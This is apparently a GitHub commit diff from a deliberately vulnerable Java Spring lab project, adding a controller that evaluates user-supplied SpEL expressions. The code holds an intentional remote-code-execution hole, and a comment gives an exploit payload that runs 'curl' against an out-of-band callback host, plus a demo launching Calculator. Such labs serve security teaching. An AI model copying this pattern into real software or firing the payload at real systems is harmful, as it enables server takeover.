File tree 3 files changed +47
-1
lines changed
java/org/joychou/controller
3 files changed +47
-1
lines changed Original file line number Diff line number Diff line change 22
22
</content >
23
23
<orderEntry type =" inheritedJdk" />
24
24
<orderEntry type =" sourceFolder" forTests =" false" />
25
+ <orderEntry type =" module-library" >
26
+ <library >
27
+ <CLASSES >
28
+ <root url =" jar://$USER_HOME$/Desktop/challenge-0.0.1-SNAPSHOT.jar!/" />
29
+ </CLASSES >
30
+ <JAVADOC />
31
+ <SOURCES />
32
+ </library >
33
+ </orderEntry >
25
34
<orderEntry type =" library" name =" Maven: org.springframework.boot:spring-boot-starter-web:1.5.1.RELEASE" level =" project" />
26
35
<orderEntry type =" library" name =" Maven: org.springframework.boot:spring-boot-starter:1.5.1.RELEASE" level =" project" />
27
36
<orderEntry type =" library" name =" Maven: org.springframework.boot:spring-boot:1.5.1.RELEASE" level =" project" />
Original file line number Diff line number Diff line change
1
+ package org .joychou .controller ;
2
+
3
+ import org .springframework .expression .ExpressionParser ;
4
+ import org .springframework .expression .spel .standard .SpelExpressionParser ;
5
+ import org .springframework .stereotype .Controller ;
6
+ import org .springframework .web .bind .annotation .RequestMapping ;
7
+ import org .springframework .web .bind .annotation .ResponseBody ;
8
+ import javax .servlet .http .HttpServletRequest ;
9
+
10
+ /*
11
+ * Author: JoyChou
12
+ * Date: 2019年01月17日
13
+ * Desc: SPEL导致的RCE
14
+ * Usage: http://localhost:8080/spel/rce?expression=xxx(xxx为exp的URL编码后的值)
15
+ * Exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
16
+ */
17
+
18
+ @ Controller
19
+ @ RequestMapping ("/spel" )
20
+ public class SPEL {
21
+
22
+ @ RequestMapping ("/rce" )
23
+ @ ResponseBody
24
+ private static String rce (HttpServletRequest request ) {
25
+ String expression = request .getParameter ("expression" );
26
+ ExpressionParser parser = new SpelExpressionParser ();
27
+ String result = parser .parseExpression (expression ).getValue ().toString ();
28
+ return result ;
29
+ }
30
+
31
+ public static void main (String [] args ) {
32
+ ExpressionParser parser = new SpelExpressionParser ();
33
+ String expression = "T(java.lang.Runtime).getRuntime().exec(\" open -a Calculator\" )" ;
34
+ String result = parser .parseExpression (expression ).getValue ().toString ();
35
+ }
36
+ }
37
+
Original file line number Diff line number Diff line change 4
4
5
5
< h3 > file upload</ h3 >
6
6
7
- < form method ="POST " action ="/file/ upload " enctype ="multipart/form-data ">
7
+ < form method ="POST " action ="upload " enctype ="multipart/form-data ">
8
8
< input type ="file " name ="file " /> < br /> < br />
9
9
< input type ="submit " value ="Submit " />
10
10
</ form >
You can’t perform that action at this time.
0 commit comments